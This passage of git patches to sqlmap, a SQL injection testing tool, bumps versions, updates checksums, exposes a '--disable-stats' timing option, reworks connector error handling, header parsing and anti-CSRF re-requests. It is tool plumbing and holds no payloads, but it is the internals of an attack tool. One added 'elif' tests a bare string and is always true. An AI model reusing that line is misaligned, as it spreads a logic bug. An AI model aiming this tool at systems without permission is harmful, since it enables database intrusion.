b/data/txt/sha256sums.txt index c12ca4c719b..3047e3c5f75 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -7904240fb93be61e6fcf999a40d5ae60b8110a305b0f664580949b6987ec4744 lib/core/settings.py +0fec9bcf0dedf1756bebaae063be8b575839d484f508951a030113983bdec528 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -198,7 +198,7 @@ f7245b99c17ef88cd9a626ca09c0882a5e172bb10a38a5dec9d08da6c8e2d076 lib/core/updat cba481f8c79f4a75bd147b9eb5a1e6e61d70422fceadd12494b1dbaa4f1d27f4 lib/core/wordlist.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/__init__.py 7d1d3e07a1f088428d155c0e1b28e67ecbf5f62775bdeeeb11b4388369dce0f7 lib/parse/banner.py -e49fb4fea83c305ebdbb8008c26118063da2134bdefe05f73dee90532c6d0dd3 lib/parse/cmdline.py +d361e472853d18f5bf760efc8fb63285354971f77ce97518b8bb17be63e534f1 lib/parse/cmdline.py f1ad73b6368730b8b8bc2e28b3305445d2b954041717619bede421ccc4381625 lib/parse/configfile.py a96b7093f30b3bf774f5cc7a622867472d64a2ae8b374b43786d155cf6203093 lib/parse/handler.py cfd4857ce17e0a2da312c18dcff28aefaa411f419b4e383b202601c42de40eec lib/parse/headers.py @@ -475,7 +475,7 @@ ab661b605012168d72f84a92ff7e233542df3825c66714c99073e56acea37e2e plugins/generi baaf7a29a1fe07e7cecc7fb1b1f6a6f327b12154b8d5619e9808b2cf43ad2198 README.md 535ab6ac8b8441a3758cee86df3e68abec8b43eee54e32777967252057915acc sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml -4121621b1accd6099eed095e9aa48d6db6a4fdfa3bbc5eb569d54c050132cbbf sqlmap.conf +c43cc0dd5b4026083ad420c04705a031504aa503cc99ab2236010c4cbd472d39 sqlmap.conf 515893a1105f06afb6e91d7a32d89ed350828244f2a4c638d36240b284a61363 sqlmap.py 82caac95182ac5cae02eb7d8a2dc07e71389aeae6b838d3d3f402c9597eb086a tamper/0eunion.py bc8f5e638578919e4e75a5b01a84b47456bac0fd540e600975a52408a3433460 tamper/apostrophemask.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 0723c75156a..5fc0b9f439c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.6.3" +VERSION = "1.9.6.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index ea056318510..84dd7d35905 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -408,6 +408,9 @@ def cmdLineParser(argv=None): techniques.add_argument("--time-sec", dest="timeSec", type=int, help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) + techniques.add_argument("--disable-stats", dest="disableStats", action="store_true", + help="Disable the statistical model for detecting the delay") + techniques.add_argument("--union-cols", dest="uCols", help="Range of columns to test for UNION query SQL injection") @@ -827,9 +830,6 @@ def cmdLineParser(argv=None): parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true", help=SUPPRESS) - parser.add_argument("--disable-stats", dest="disableStats", action="store_true", - help=SUPPRESS) - parser.add_argument("--profile", dest="profile", action="store_true", help=SUPPRESS) diff --git a/sqlmap.conf b/sqlmap.conf index d42ab803133..e40961e180a 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -401,6 +401,10 @@ technique = BEUSTQ # Default: 5 timeSec = 5 +# Disable the statistical model for detecting the delay. +# Valid: True or False +disableStats = False + # Range of columns to test for. # Valid: range of integers # Example: 1-10 From 09c364d58fd78ee354803a898a3d5385f737308f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 22 Jun 2025 13:42:14 +0200 Subject: [PATCH 188/853] Fixes #5914 --- data/txt/sha256sums.txt | 4 ++-- lib/controller/handler.py | 18 +++++++++--------- lib/core/settings.py | 2 +- 3 files changed, 12 insertions(+), 12 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 3047e3c5f75..6efa7d809eb 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -161,7 +161,7 @@ eed1db5da17eca4c65a8f999166e2246eef84397687ae820bbe4984ef65a09df extra/vulnserv 96a39b4e3a9178e4e8285d5acd00115460cc1098ef430ab7573fc8194368da5c lib/controller/action.py fad6640f60eac8ad1b65895cbccc39154864843a2a0b0f2ac596d3227edcd4f6 lib/controller/checks.py 34e9cf166e21ce991b61ca7695c43c892e8425f7e1228daec8cadd38f786acc6 lib/controller/controller.py -25e9781a4285f1161a39a17bb1746ddd0e28cdf9d4c6744235c619e7b8352afe lib/controller/handler.py +49bcd74281297c79a6ae5d4b0d1479ddace4476fddaf4383ca682a6977b553e3 lib/controller/handler.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/controller/__init__.py 216c9399853b7454d36dcb552baf9f1169ec7942897ddc46504684325cb6ce00 lib/core/agent.py 440cbab6161f466158c63f0ee97873254655f670ca990fa26bdd0a6e54c42c2a lib/core/bigarray.py @@ -187,7 +187,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -0fec9bcf0dedf1756bebaae063be8b575839d484f508951a030113983bdec528 lib/core/settings.py +b33a472e54778a1f53e3badde07b1ba81b518596caae4d1bae3226e6a2138137 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/controller/handler.py b/lib/controller/handler.py index fdc20336512..2448bedfc3c 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -173,17 +173,17 @@ def setHandler(): if not dialect or exception: try: conf.dbmsConnector.connect() - except Exception as ex: + except NameError: if exception: - singleTimeWarnMessage(getSafeExString(exception)) - raise + raise exception else: - if not isinstance(ex, NameError): - raise - else: - msg = "support for direct connection to '%s' is not available. " % dbms - msg += "Please rerun with '--dependencies'" - raise SqlmapConnectionException(msg) + msg = "support for direct connection to '%s' is not available. " % dbms + msg += "Please rerun with '--dependencies'" + raise SqlmapConnectionException(msg) + except: + if exception: + singleTimeWarnMessage(getSafeExString(exception)) + raise if conf.forceDbms == dbms or handler.checkDbms(): if kb.resolutionDbms: diff --git a/lib/core/settings.py b/lib/core/settings.py index 5fc0b9f439c..4480b65c923 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.6.4" +VERSION = "1.9.6.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 0a4cdd7fb3f4f05050ba005a72cfe82ffa6355e7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 22 Jun 2025 13:47:48 +0200 Subject: [PATCH 189/853] Fixes #5913 --- data/txt/sha256sums.txt | 4 ++-- lib/core/option.py | 6 +++--- lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 6efa7d809eb..0d26b0634a2 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -180,14 +180,14 @@ c9d1f64648062d7962caf02c4e2e7d84e8feb2a14451146f627112aae889afcd lib/core/dump. 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/core/__init__.py 3d308440fb01d04b5d363bfbe0f337756b098532e5bb7a1c91d5213157ec2c35 lib/core/log.py 2a06dc9b5c17a1efdcdb903545729809399f1ee96f7352cc19b9aaa227394ff3 lib/core/optiondict.py -0622da3388cd9cfa80ea2dac86378efe47ff5e6902a7b04a91783b2e338b5eed lib/core/option.py +97378f241005dc1b8b4c0a67b9b39af76a9735d2bb0a49e8f2ef59c0d115d93e lib/core/option.py 866e93c93541498ecce70125037bdd376d78188e481d225f81843f21f4797d8c lib/core/patch.py 85f10c6195a3a675892d914328173a6fb6a8393120417a2f10071c6e77bfa47d lib/core/profiling.py c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readlineng.py d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -b33a472e54778a1f53e3badde07b1ba81b518596caae4d1bae3226e6a2138137 lib/core/settings.py +792804ba166efe4c41c4cc778fa02ddfd2a05a182617e6f26f85d2c9db218aa1 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/option.py b/lib/core/option.py index 58193b48225..45e40dd7fac 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1406,10 +1406,10 @@ def _setHTTPExtraHeaders(): debugMsg = "setting extra HTTP headers" logger.debug(debugMsg) - if "\n" in conf.headers: - conf.headers = conf.headers.replace("\r\n", "\n").split("\n") - elif "\\n" in conf.headers: + if "\\n" in conf.headers: conf.headers = conf.headers.replace("\\r\\n", "\\n").split("\\n") + else: + conf.headers = conf.headers.replace("\r\n", "\n").split("\n") for headerValue in conf.headers: if not headerValue.strip(): diff --git a/lib/core/settings.py b/lib/core/settings.py index 4480b65c923..d11674c1272 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.6.5" +VERSION = "1.9.6.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From b0ac34caf1d5216571c83e99be58799294c6e021 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Jun 2025 15:20:09 +0200 Subject: [PATCH 190/853] Fixes #5919 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- plugins/dbms/postgresql/connector.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0d26b0634a2..f7a810116ef 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -792804ba166efe4c41c4cc778fa02ddfd2a05a182617e6f26f85d2c9db218aa1 lib/core/settings.py +6e3e3fc5ff8f83680dde60dcfd85fe602bda29a2ef7622a2cdfec1b5f7088246 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -409,7 +409,7 @@ b1c939e3728fe4a739de474edb88583b7e16297713147ca2ea64cac8edf2bdf5 plugins/dbms/o 53fe7fc72776d93be72454110734673939da4c59fecdf17bbbc8de9cdc52c220 plugins/dbms/oracle/__init__.py 39611d712c13e4eb283b65c19de822d5afa4a3c08f12998dd1398725caf48940 plugins/dbms/oracle/syntax.py cd3590fbb4d500ed2f2434cf218a4198febb933793b7a98e3bb58126839b06f1 plugins/dbms/oracle/takeover.py -9ca6fccb27cac0037103db6f05b561039c9f6bd280ab2fb87b76e4d52142c335 plugins/dbms/postgresql/connector.py +ec17431637c2329b42ce0d0dd932bbb02aa93d5388a4e1c6f4e0c1b59f27ce00 plugins/dbms/postgresql/connector.py 3ebc81646f196624ec004a77656767e4850f2f113b696f7c86b5ca4daf0ee675 plugins/dbms/postgresql/enumeration.py 760285195bdfd91777066bf2751c897f87fab1ada24f729556b122db937c7f88 plugins/dbms/postgresql/filesystem.py 42fbf2707e9f67554571e63ef2d204d28303e4d25eb7781ec800084fb53324ce plugins/dbms/postgresql/fingerprint.py diff --git a/lib/core/settings.py b/lib/core/settings.py index d11674c1272..f5eac88d2ca 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.6.6" +VERSION = "1.9.6.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index 2b22b29ff7f..4a0fa655aa7 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -34,7 +34,7 @@ def connect(self): try: self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port) - except psycopg2.OperationalError as ex: + except (psycopg2.OperationalError, UnicodeDecodeError) as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.connector.set_client_encoding('UNICODE') From e7fbc2b9db15da66382a3d2c178b268b349bf4e6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Jun 2025 15:26:11 +0200 Subject: [PATCH 191/853] Fixes #5918 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- sqlmap.py | 5 +++++ 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index f7a810116ef..d90653b8844 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -6e3e3fc5ff8f83680dde60dcfd85fe602bda29a2ef7622a2cdfec1b5f7088246 lib/core/settings.py +9f7e3876dd7a5502ad551e73e8906b6d098d9f393619212717756deeb5324454 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -476,7 +476,7 @@ baaf7a29a1fe07e7cecc7fb1b1f6a6f327b12154b8d5619e9808b2cf43ad2198 README.md 535ab6ac8b8441a3758cee86df3e68abec8b43eee54e32777967252057915acc sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml c43cc0dd5b4026083ad420c04705a031504aa503cc99ab2236010c4cbd472d39 sqlmap.conf -515893a1105f06afb6e91d7a32d89ed350828244f2a4c638d36240b284a61363 sqlmap.py +e29538ddcb7bb80fc3b07b3ccc23e46df1faf9ff4b6d7db0558a9a9587a6b8c6 sqlmap.py 82caac95182ac5cae02eb7d8a2dc07e71389aeae6b838d3d3f402c9597eb086a tamper/0eunion.py bc8f5e638578919e4e75a5b01a84b47456bac0fd540e600975a52408a3433460 tamper/apostrophemask.py c9c3d71f11de0140906d7b4f24fadb9926dc8eaf5adab864f8106275f05526ce tamper/apostrophenullencode.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f5eac88d2ca..c8b9950fe13 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.6.7" +VERSION = "1.9.6.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 24718285ae9..c5682fbdd46 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -513,6 +513,11 @@ def main(): logger.critical(errMsg) raise SystemExit + elif "'cryptography' package is required": + errMsg = "third-party library 'cryptography' is required" + logger.critical(errMsg) + raise SystemExit + elif "AttributeError: 'module' object has no attribute 'F_GETFD'" in excMsg: errMsg = "invalid runtime (\"%s\") " % excMsg.split("Error: ")[-1].strip() errMsg += "(Reference: 'https://stackoverflow.com/a/38841364' & 'https://bugs.python.org/issue24944#msg249231')" From c25344b799a40f9f99ccb1a99bdb83184b97f1a1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Jun 2025 16:03:15 +0200 Subject: [PATCH 192/853] Fixes #5915 --- data/txt/sha256sums.txt | 4 ++-- lib/core/bigarray.py | 3 +++ lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d90653b8844..1441c5c4809 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -164,7 +164,7 @@ fad6640f60eac8ad1b65895cbccc39154864843a2a0b0f2ac596d3227edcd4f6 lib/controller 49bcd74281297c79a6ae5d4b0d1479ddace4476fddaf4383ca682a6977b553e3 lib/controller/handler.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/controller/__init__.py 216c9399853b7454d36dcb552baf9f1169ec7942897ddc46504684325cb6ce00 lib/core/agent.py -440cbab6161f466158c63f0ee97873254655f670ca990fa26bdd0a6e54c42c2a lib/core/bigarray.py +0c10a46c77d5366bc535a148c097d267f28aa82d981a328e76be66e11982a562 lib/core/bigarray.py e3b8f8cf9607d12f3de5e6bcd5031f21f50d4b331844b8e921493dfde2efe0f7 lib/core/common.py d53a8aecab8af8b8da4dc1c74d868f70a38770d34b1fa50cae4532cae7ce1c87 lib/core/compat.py ebe518089733722879f5a13e73020ebe55d46fb7410cacf292ca4ea1d9d1c56a lib/core/convert.py @@ -187,7 +187,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -9f7e3876dd7a5502ad551e73e8906b6d098d9f393619212717756deeb5324454 lib/core/settings.py +d96fbeb36a124319b0858214db085dad484c424646d62852c0fd63ba1c674e47 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 5741b2e61ac..b6e3e67915a 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -163,6 +163,9 @@ def _dump(self, chunk): raise SqlmapSystemException(errMsg) def _checkcache(self, index): + if self.cache is not None and not isinstance(self.cache, Cache): + self.cache = None + if (self.cache and self.cache.index != index and self.cache.dirty): filename = self._dump(self.cache.data) self.chunks[self.cache.index] = filename diff --git a/lib/core/settings.py b/lib/core/settings.py index c8b9950fe13..fca8b0f549b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.6.8" +VERSION = "1.9.6.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 466a80b22b8595c4952bbe03249b9469a8e932f6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 30 Jun 2025 21:54:23 +0200 Subject: [PATCH 193/853] Fixes #5921 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 1441c5c4809..65ac676f675 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -d96fbeb36a124319b0858214db085dad484c424646d62852c0fd63ba1c674e47 lib/core/settings.py +2901ea25f3c3ed59042dd90e4375405b4ed5fd6e5499cd688c751325e005fdb0 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -210,7 +210,7 @@ d7082e4a5937f65cbb4862701bad7d4fbc096a826621ba7eab92e52e48ebd6d7 lib/parse/site 18cb22d4dabdcc8e3381baf66edd52e74ad2d2067d0116e134a94ffc950c054e lib/request/basic.py fdb4a9f2ca9d01480c3eb115f6fdf8d89f8ff0506c56a223421b395481527670 lib/request/chunkedhandler.py bb8a06257d170b268c66dcbd3c0fbe013de52eed1e63bb68caa112af5b9f8ca9 lib/request/comparison.py -26fda3422995eae2e02313c016d8a5e0dc8235e7406fe094ebdb149742859b0e lib/request/connect.py +cfa172dbc459a3250db7fbaadb62b282b62d56b4f290c585d3abec01597fcd40 lib/request/connect.py a890be5dee3fb4f5cb8b5f35984017a5c172d587722cf0c690bf50e338deebfa lib/request/direct.py a53fa3513431330ce1725a90e7e3d20f223e14605d699e1f66b41625f04439c7 lib/request/dns.py 685b3e9855c65af3f4516b4cac1d2591bd9d653246d02b08bffa94b706115fa9 lib/request/httpshandler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index fca8b0f549b..7a116989c81 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.6.9" +VERSION = "1.9.6.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 4ddd2b5d27d..7db7bea773c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1243,7 +1243,7 @@ def _adjustParameter(paramString, parameter, newValue): warnMsg += ". sqlmap is going to retry the request" logger.warning(warnMsg) - page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, post=conf.csrfData or (conf.data if conf.csrfUrl == conf.url else None), method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) + page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, post=conf.csrfData or (conf.data if conf.csrfUrl == conf.url and (conf.csrfMethod or "").upper() == HTTPMETHOD.POST else None), method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') match = re.search(r"(?i)]+\bname=[\"']?(?P%s)\b[^>]*\bvalue=[\"']?(?P[^>'\"]*)" % conf.csrfToken, page or "", re.I) From 71e18a98d2117f75072818cc9940270451697eba Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 9 Jul 2025 20:20:08 +0200 Subject: [PATCH 194/853] Minor update of fingerprinting payloads --- data/txt/sha256sums.txt | 8 ++++---- lib/core/settings.py | 2 +- plugins/dbms/access/fingerprint.py | 2 +- plugins/dbms/mimersql/fingerprint.py | 2 +- plugins/dbms/sqlite/fingerprint.py | 2 +- 5 files changed, 8 insertions(+), 8 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 65ac676f675..3df96f83427 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -2901ea25f3c3ed59042dd90e4375405b4ed5fd6e5499cd688c751325e005fdb0 lib/core/settings.py +bf443de2412ceec81399f93923bdbc1575653122edc12c300737466663c491b5 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -264,7 +264,7 @@ bd4975ff9cbc0745d341e6c884e6a11b07b0a414105cc899e950686d2c1f88ba lib/utils/xran 4533aeb5b4fefb5db485a5976102b0449cc712a82d44f9630cf86150a7b3df55 plugins/dbms/access/connector.py acd26b5dd9dfc0fb83c650c88a02184a0f673b1698520c15cd4ce5c29a10ea5e plugins/dbms/access/enumeration.py 6ae41f03920129ada7c24658673ffb3c1ce9c4d893a310b0fcdd069782d89495 plugins/dbms/access/filesystem.py 